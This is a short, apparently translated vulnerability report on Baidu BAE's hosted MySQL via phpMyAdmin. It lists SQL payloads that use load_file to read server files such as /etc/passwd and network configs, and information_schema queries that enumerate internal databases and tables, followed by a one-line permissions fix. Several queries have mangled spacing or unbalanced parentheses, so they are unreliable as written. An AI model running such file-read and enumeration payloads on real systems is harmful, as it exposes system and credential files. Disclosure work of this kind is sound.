Baidu BAE Series 1: database information leakage, Arbitrary File Reading

You can read database-related content and view server files in a certain way.

When MySQL (apsaradb) is managed by phpMyAdmin, the insert into Table select load_file ('/etc/passwd') can read the content of local files or query the content of the information_schema database. In visual testing, read and write operations use different database accounts.

/* The following results are different */
Select user ();
Insert into tmp (data) select user ();

/* Some executable operations */
// File Reading
Insert into test (data) select load_file ('/etc/passwd ');
Insert into test (data) select load_file ('/etc/issue ');
Insert into test (data) select load_file ('/etc/sysconfig/network-scripts/ifcfg-eth0 ');
// Read Data Structure
Insert into test (data) select load_file ('/etc/sysconfig/network-scripts/ifcfg-eth1 ');
Insert into test (data) select SCHEMA_NAME from information_schema.SCHEMATA limit 10;
Insert into test (data) select concat ('databases: ', COUNT (*) from information_schema.SCHEMATA;
Insert into test (data) select concat ('ibase _ bae_code tables: ', group_concat (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'ibase _ bae_code ';
Insert into test (data) select concat ('ibase _ bae_code.apps columns: ', group_concat (COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'ibase _ bae_code' AND TABLE_NAME = 'play ';
Insert into test (data) select concat ('ibase _ bae_code tables: ', group_concat (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'ibase _ bae_code ';
Insert into test (data) select concat ('ns _ bae_yun_pma tables: ', group_concat (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'ns _ bae_yun_pma ';
Insert into test (data) select concat ('ns _ bae_yun_pma.pma_session columns: ', group_concat (COLUMN_NAME )) from information_schema.COLUMNS where TABLE_SCHEMA = 'ns _ bae_yun_pma 'AND TABLE_NAME = 'pma _ session ';


 

Solution:


Control File and database operation permissions. During restoration, you can also import data on the platform.